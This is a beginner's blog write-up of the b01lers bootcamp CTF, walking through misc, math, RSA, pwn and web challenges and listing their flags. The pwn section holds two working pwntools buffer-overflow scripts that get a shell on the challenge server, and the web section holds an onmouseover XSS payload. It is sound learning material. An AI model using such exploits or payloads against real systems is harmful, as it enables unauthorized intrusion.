Last weekend, b01lers from Purdue University had their CTF bootcamp designed for beginners from Saturday Oct 4 9AM EDT to Sunday Oct 5 8PM EDT. It was a busy weekend for why not make team, so I was the only one able to participate (and even then, I didn’t have too much time).

As with Down Under CTF, I didn’t end up finishing all the challenges (not even close!) so this will serve as a record of what I’ve tried (and what didn’t work).

Background Info

935 teams signed up for b01lers bootcamp CTF (513 of which submitted solutions), and a perfect score on the CTF was 6,000 points. There were six categories overall:

• Crypto
• Crypto World
• Misc
• PWN
• Rev - where I didn’t solve any, so I’ll be leaving this out
• Web

I’ll be writing about these in chronological-ish order of how I solved them, by category.

Misc

Troll Hunt

We’ve identified a malicious troll who may be linked to a ransomware-esque virus. They’ve been making posts using the hashtag “#shrive”. For now, just sift through the irrelevant junk and try to find another one of their accounts.

Looking on Twitter for the hashtag #shrive, we see there’s this account that’s been tweeting for the last few days about #shrive and malware …

Scrolling through their timeline, we see that on Oct 2 they tweeted “OH SHOOT”, followed by “nothing suspicious here” half an hour later. I tried going on the Wayback Machine to check this profile, but there were no snapshots taken.

Scrolling all the way down to their first tweet, we finally get a link:

just received a lovely cake :) https://t.co/eUdEQtQh4n

— V760DHM (@V760DHM) October 1, 2020

Which then takes us to their Imgur account with the same name. Going to the trollface image and clicking “Show bad comments” will then reveal their comment, with one downvote, containing the flag.

Flag: flag{shu7_up_4nd_d4nc3_G5jM30}

Granular Data

A disgruntled ex-employee of Granular is the prime suspect behind recent killings in the nation. We’ve received his manifesto, which included this photo of him. Is there anything here that could help us figure out his location?

Running exiftool on the image provided will give us the information we need.

Flag: flag{h4t3d_1n_th3_n4t10n_0MTBu}
Tools: exiftool

Needle in a Haystack

Can you find the needle?

The challenge provided us with a link to a ZIP file. Once downloaded and unzipped, there were 400 text files inside (i.e., not ideal for manual searching). I used grep to try and look for which file contained flag{ (and really really hoped it was in plaintext).

$ grep "flag{" -R .
./haystack269.txt:Fo1gQaT1DgTzK3BO+xkuAIRHKflag{y0u_f0unD_Th3_n33d1e!}

Thankfully it was in plaintext - and I got the flag!

Flag: flag{y0u_f0unD_Th3_n33d1e!}
Tools: grep

Zima Blue

The mysterious artist Zima has unveiled his latest piece, and once again, it features his signature shade of blue. I honestly don’t get it. Is he hiding a message in his art somehow?

We were given this image:

Since the challenge mentioned “signature shade of blue”, I figured it had something to do with the RGB colour planes. Using stegsolve, I opened the image and walked through the layers of the image using arrow keys. I then found the flag at the bottom of the rectangle on layer “Green plane 6” (but it is also visible on other layers).

Flag: flag{t3ll_by_th3_p1x3ls}
Tools: stegsolve
Fun fact: This was my first time using stegsolve!

Crypto World

This was one of my favourite areas of the CTF. You were essentially led to a page where you could embark on a text-based adventure, à là “You are in a room with a puzzle. There are three doors leading to your N/S/W”. Granted the flavourtext was much more well-written than that, but you get the gist.

This area focused primarily on math problems. When you provided the correct answer, the correct flag was then printed out. This area was super fun for me not because I actually wanted to solve any of these math problems, but because it really showed me the limits of calculators (even if they called themselves “big number” calculators).

There were 10 challenge areas, with 3 levels in each area. I solved levels in 7 challenge areas, but only managed to successfully complete 1.

Mini B1

What is a possible integer solution for x and y for the equation 123*x + 179*y = 1?

I used a linear diophantine equation calculator and it gave the answer x = ±16, y = ±11.

Flag: mini{B1_485a3ae14ebb98e8ccc855b3}
Tools: Linear diophantine equation calculator
Fun fact: This calculator is by someone from UWaterloo!

Mini B2

What is a possible integer solution for x and y for the equation 5419637592*x + 8765372543*y = 1?

The bigger numbers here meant that I couldn’t keep using the same calculator. No worry, I used another LDE calculator to find out the answer: 784426129 -485011369.

Flag: mini{B2_4a39f17045a8063e6eb0afa2}
Tools: Planet Calc’s linear diophantine equation calculator

Mini C1

Give a possible solution for x^2 mod 97 = 88.

I used dcode’s modular exponent calculator for this (since it allows you to plug in unknowns) which gave x = 31.

Flag: mini{C1_4c88b7b4c11a9ee43f33e130}
Tools: dcode’s modular exponent calculator

Mini C2

Give a possible solution for x^2 mod 1359203501 = 95422207.

Since the numbers were bigger this time, I couldn’t use dcode’s calculator. Instead, I turned to my old friend Wolfram Alpha, which gave me x = 548653309

Flag: mini{C2_2ce7b90aa9335b0cb0a3db6d}
Tools: Wolfram Alpha

Mini D1

Give a possible solution for 11^x mod 101 = 27.

Back to our old friend dcode and their great calculator for solving unknowns - which gave x = 39.

Flag: mini{D1_77858210bb3c8f6f90642947}
Tools: dcode’s modular exponent calculator

Mini F1

How many primes are there between 1200 and 1500?

Referencing this list of prime numbers from 1 to 1500, if we count how many there are we get 43.

Flag: mini{F1_c45a3e68b37e85ee427389c5}
Tools: List of prime numbers from 1 to 1500

Mini H1

the base64-encoded string below corresponds to XOR-encrypted text, with key length of 1 byte. What is the integer in the message?

PQEMSRoMChsMHUkABx0MDgwbSQAaSR0eDAcdEEQPAB8MSR0BBhwaCAcNRUkPAB8MSQEcBw0bDA1JCAcNSR0eDAUfDEc=

Using Cyberchef, we can use “From base64”, and then “XOR bruteforce”. Since we know it’s only 1 byte, it won’t be super computationally heavy.

Our key ends up being 49, and the message is:

tHE.SECRET.INTEGER.IS.TWENTY.FIVE.THOUSAND..FIVE.HUNDRED.AND.TWELVE

Flag: mini{H1_5ed3aca835bc208203da988b}
Tools: Cyberchef

Mini J1

Find positive integers x, y that solve x^2 + 22*y^2 = 8383.

Using Wolfram Alpha, we get x = 45 and y = 17.

Flag: mini{J1_c9d7861b2635ebb151b71351}
Tools: Wolfram Alpha

mini J2

Find positive integers x,y that solve x^2 + 608268054*y^2 = 288964812689493391976023993.

Thankfully this is still within Wolfram Alpha’s free computation time, so it spits out the answer: x = 729485423, y = 689247146.

Flag: mini{J2_ab5c40aa74a7c6ad5db7b041}
Tools: Wolfram Alpha

mini I1

Factor the number 48263.

Using Wolfram Alpha, we get 17 17 267.

Flag: mini{I1_1a8ec6471c8824fff864a95c}
Tools: Wolfram Alpha

mini I2

Factor 8477969543906630921459041527576694.

Again using Wolfram Alpha, we get: 2 7 7 13 19 19 79 601 234490397 1655726489421517.

Flag: mini{I2_03ba7452553b74b5122c58f0}
Tools: Wolfram Alpha

mini I3

Factor 71142975216676910225445498956472658317166395374468624230332488059276850400024521063814543607909086075571109949.

This one was kinda fun because I actually found two calculators that were capable of factoring this number, but one of them was several times faster (seriously, one was running for around an hour).

Using Alpertron’s integer factorization calculator, we get:

3 
11 
31 
29515817 
1075612307646757041328543 
1810939816479001125535889581 
1209600061687323613153983466766686569317548327433

Flag: mini{I3_8bfabf5fabe9ddeec6ebce31}
Tools: Alpertron’s integer factorization calculator

Crypto

Dream Stealing

I’ve managed to steal some secrets from their subconscious, can you figure out anything from this?

We’re given a file called ciphertext.txt, which contains N, p, e, and c - which tells us this is likely an RSA problem.

N = 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102808287018619896494144221889411960418829067000944408910977857246549239617540588105788633268030690222998939690024329717050066864773464183557939988832150357227
p = 9695477612097814143634685975895486365012211256067236988184151482923787800058653259439240377630508988251817608592320391742708529901158658812320088090921919
e = 65537
c = 75665489286663825011389014693118717144564492910496517817351278852753259053052732535663285501814281678158913989615919776491777945945627147232073116295758400365665526264438202825171012874266519752207522580833300789271016065464767771248100896706714555420620455039240658817899104768781122292162714745754316687483

Step 1: Determine an N that is the product of two primes, p and q.

Since we are already given N and one of its factors p, we just need to find the other factor by doing N / p.

q = 10166627341555233885462189686170129966199363862865327417835599922534140147190891310884780246710738772334481095318744300242272851264697786771596673112818133

Step 2: Find the totient of n, or phi(n) which is (p-1)(q-1)

Multiplying p-1 and q-1 together we get:

totient = 98570307780590287344989641660271563150943084591122129236101184963953890610515286342182643236514124325672053304374355281945455993001454145469449640602102788424913666243446115125013749894802497855425825476346571837495143781689593338561218309247406348975238353391320418652358081883392298327112356072070946617176

Since we are given e, the public exponent, we don’t have to pick one. Instead, we can move to step 4.

Step 4: Calculate d, such that de ≡ 1 mod phi(n).

We can use a modular multiplicative inverse calculator for this, which gives:

d = 71019292355336569848224146505887711375625700158814041234714159220180032054227708100638146863374283786775541831015345256239719342257589808732806545609208410007110462888891498086394315520739111436827319730344824688262862111900161860529504971914388519344214410314551457166878195041761156822984243120178189851785

Now that we have all the elements of RSA set up, we can work on decrypting the given ciphertext c.

Step 5: Determine the original message m = c^d mod n.

Using a modular exponentiation calculator, we get:

message = 46327402297734345668136112664627609061622411859278517910287191659094499226493

Of course, that’s not the final message. We then convert this number to hexadecimal, and then convert that hexadecimal number to ASCII, which will give us the flag.

Flag: flag{4cce551ng_th3_subc0nsc10us}
Tools: Boxentriq’s big number, modular multiplicative inverse, and modular exponentation calculators; RapidTables’s Decimal to Hex and Hex to ASCII converters
Further Reading: RSA algorithm (Simple English wikipedia)
Fun fact: This was my first time solving an RSA challenge in a CTF!

Clear the Mind

They’ve gotten into your mind, but haven’t managed to dive that deep yet. Root them out before it becomes an issue.

Inside this file, we are only given n, c, and e, again pointing to RSA.

n = 102346477809188164149666237875831487276093753138581452189150581288274762371458335130208782251999067431416740623801548745068435494069196452555130488551392351521104832433338347876647247145940791496418976816678614449219476252610877509106424219285651012126290668046420434492850711642394317803367090778362049205437
c = 4458558515804625757984145622008292910146092770232527464448604606202639682157127059968851563875246010604577447368616002300477986613082254856311395681221546841526780960776842385163089662821
e = 3

Since e = 3, it is quite small (compared to say, 65537). If the original message was short enough (i.e. m^3 < N), then we can just take the cube root of the ciphertext c.

Using a cube root calculator, we get:

m = 164587995846552213349276905669580061809447554828318448024777341

Just like the previous challenge, we then convert this number to hexadecimal, and then convert that hexadecimal number to ASCII, which will give us the flag.

Flag: flag{w3_need_7o_g0_d3ep3r}
Tools: Dcode’s cube root calculator; RapidTables’s Decimal to Hex and Hex to ASCII
Further reading: An attack on RSA with exponent 3

PWN

The Oracle

Would you still have broken it if I hadn’t said anything?

We are given a binary executable and a C file as well. Looking inside our given C file:

void win() {
    char* argv[] = { NULL };
    char* envp[] = { NULL };

    execve("/bin/sh", argv, envp);
}

int main() {
    setvbuf(stdout, 0, 2, 0);
    setvbuf(stderr, 0, 2, 0);

    char buffer[16];

    printf("Know Thyself.\n");
    fgets(buffer, 128, stdin);
}

It looks like we have a buffer overflow-type situation. We want to overflow the buffer[] array, which is 16 bytes long, and then we also want to call the win() function, which will help us get a shell (by running execve('/bin/sh')).

After some trial and error, I discovered that I could get the executable to hang when I entered in 24 bytes. So, I used pwntools to write my exploit, having learned from Down Under CTF:

from pwn import *

elf = ELF("./theoracle") # reference file

p = remote("chal.ctf.b01lers.com", 1015)
payload = b"A"*24 + p64(elf.sym["win"]) + b'\n'

p.recvline()
p.sendline(payload)

p.clean()
p.interactive()

Which actually worked! I got a shell, and was able to then print out the flag by running cat flag.txt. I’m so glad I learned about this from DUCTF - here’s a screenshot of my victory:

Flag: flag{Be1ng_th3_1_is_JusT_l1ke_b3ing_in_l0v3}
Tools: pwntools

Metacortex

This company is one of the top software companies in the world, because every single employee knows that they are part of a whole. Thus, if an employee has a problem, the company has a problem.

For this challenge, we were only given a binary executable. After some experimentation with it, I found that I could get to a shell by entering in 105 characters. So I used a similar script to the previous challenge, but substituting in 105 instead of 24:

from pwn import *

elf = ELF("./metacortex")

p = remote("chal.ctf.b01lers.com", 1014)
payload = b"A"*105

p.recvline()
p.sendline(payload)

p.clean()
p.interactive()

And once again, once we get an interactive shell, we can simply run ls and then cat flag.txt to get the flag.

Flag: flag{Ne0_y0uAre_d0ing_well}
Tools: pwntools

Web

Programs Only

You don’t have to be lonely at Programs Only dot com

Navigating to the site given, we see a grid of futuristic looking pictures that link to different pages, along with a Welcome panel at the top that states what my current browser is. If we dig through the source code, we can see that one picture from the grid is missing, and it leads to a page /program.

If we navigate to this page, we’re told that users are not allowed here:

Well, that’s fine. If I’m not allowed as a user, I’ll just pretend to be a program.

Using the Chrome Inspector (Ctrl+Shift+I), we can change our “user agent” to “Program” by:

1. Click 3 dots menu on top right corner
2. Under “More Tools” select “Network Conditions”
3. In the Network Conditions tab uncheck “Select automatically” for User agent
4. For the dropdown select “Custom” and then enter in “Program”

Refreshing the page will show us this new text:

Unfortunately, this is where I hit a dead end. I tried resetting my user-agent to logical and variations of logical_program, or navigating to /register, all to no avail.

Post-CTF: This is the only challenge I didn’t solve that I left in my writeup. Turns out what I needed to do was navigate to /robots.txt, where I would’ve found:

User-agent: *
Disallow: /

User-agent: Program
Allow: /program/

User-agent: Master Control Program 0000
Allow: /program/control

Turns out I needed to set my user-agent to Master Control Program 0000 for /program/control, where I would’ve found the flag.

Flag: flag{who_programmed_you?}
Tools: Chrome Dev Tools

Reindeer Flotilla

It’s time to enter the Grid. Figure out a way to pop an alert() to get your flag.

Navigating to the given site, we’re given a single input box. Once you press Enter, it’ll pretty much echo what you type in.

Naturally the first thing I tried once I realised that was:

<script>alert();</script>

Which didn’t actually set off an alert, but it also didn’t print anything - which is also good news. I looked on the OWASP page about cross-site scripting (XSS) for other ways to set off an alert, and decided on trying to use an attribute like onmouseover:

here is some <b onmouseover="alert('HELP!')">other text</b>

Which actually worked! Once I exited the alert by pressing the alert, the flag popped up:

Flag: flag{y0u_sh0uldnt_h4v3_c0m3_b4ck_flynn}
Further reading: Cross-site scripting

First Day Inspection

It’s your first day working at ENCOM, but they’re asking you to figure things out yourself. What an onboarding process… take a look around and see what you can find.

If we go on the site provided, it’s called and look around in the inspector, we can follow a trail of breadcrumbs to assemble the flag:

1. (1/5): flag{ in source code
2. (2/5): w3lc in console
3. (3/5): 0m3_ in styles.css
4. (4/5): t0_E in script.js
5. ???????

I actually didn’t know where to find the last one, but looking back at the challenge name (and the site itself, really), it was easily guessable as NC0M} to finish off the flag.

Post-CTF: Turns out the last part was a key in local storage (Application > Storage > Local Storage).

Flag: flag{w3lc0m3_t0_ENC0M}
Tools: Chrome Dev Tools

Conclusion

Overall, I placed ~166th/935 or ~166th/513 (if you take out everyone who didn’t solve a challenge). Out of a perfect score of 6000 points, I got 1145 (~19%). I finished all but one challenges in the Misc category, and none of the challenge in the Rev category (whoops).

I had a really good time with b01lers - it felt like a safe place for me to kind of experiment with techniques I’d heard of/seen before but never really had a chance to try out (like stegsolve, RSA, pwntools). I might’ve preferred flavourtext that was a little bit more fun, but I think on the learning side I learned a lot.

Looking forward to b01lers 2021 in March 😊